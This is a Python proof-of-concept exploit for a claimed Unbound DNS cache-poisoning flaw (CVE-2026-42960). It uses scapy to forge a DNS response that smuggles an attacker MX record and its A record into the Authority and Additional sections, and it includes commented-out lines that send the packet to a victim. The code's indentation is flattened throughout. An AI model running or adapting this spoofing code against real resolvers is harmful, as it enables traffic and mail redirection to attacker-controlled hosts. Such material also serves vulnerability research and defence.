#!/usr/bin/env python3
# PoC for CVE-2026-42960: Unbound DNS Cache Poisoning
# This script demonstrates crafting a malicious DNS response to poison the cache.
# Usage: Requires scapy installed and root privileges.
from scapy.all import *
import random
def build_spoofed_dns_response(src_ip, dst_ip, sport, dport, tx_id, qname):
"""
Constructs a malicious DNS response targeting the vulnerability.
It injects a malicious MX record in the Authority section and
a corresponding A record in the Additional section.
"""
# Define the malicious records
malicious_mx_domain = "attacker-controlled.com"
malicious_ip = "192.0.2.100" # Example malicious IP
# Ethernet layer (optional, depending on network)
# eth = Ether(dst="...")
# IP layer
ip = IP(src=src_ip, dst=dst_ip)
# UDP layer
udp = UDP(sport=53, dport=dport)
# DNS layer
# The vulnerability lies in accepting the A record for the MX domain
# in the additional section based on trust in the authority section.
dns = DNS(
id=tx_id,
qr=1, # Response
aa=0, # Not Authoritative
tc=0, # No truncation
rd=1, # Recursion Desired
ra=1, # Recursion Available
z=0,
rcode=0, # No Error
qd=DNSQR(qname=qname, qtype='A'),
# Leave Answer section empty or minimal
an=None,
# Authority Section: Inject non-NS record (MX)
ns=[
DNSRR(
rrname=qname,
type='MX',
ttl=3600,
rdlen=None,
rdata=f"10 {malicious_mx_domain}"
)
],
# Additional Section: Inject address record for the MX domain
ar=[
DNSRR(
rrname=malicious_mx_domain,
type='A',
ttl=3600,
rdata=malicious_ip
)
]
)
return ip/udp/dns
# Example of how to send (Simulation)
# target_domain = "example.com"
# victim_ip = "192.168.1.50"
# spoofed_dns_ip = "192.168.1.1" # IP the victim trusts (e.g. upstream DNS)
# packet = build_spoofed_dns_response(spoofed_dns_ip, victim_ip, 53, 54321, random.randint(1, 65535), target_domain)
# send(packet)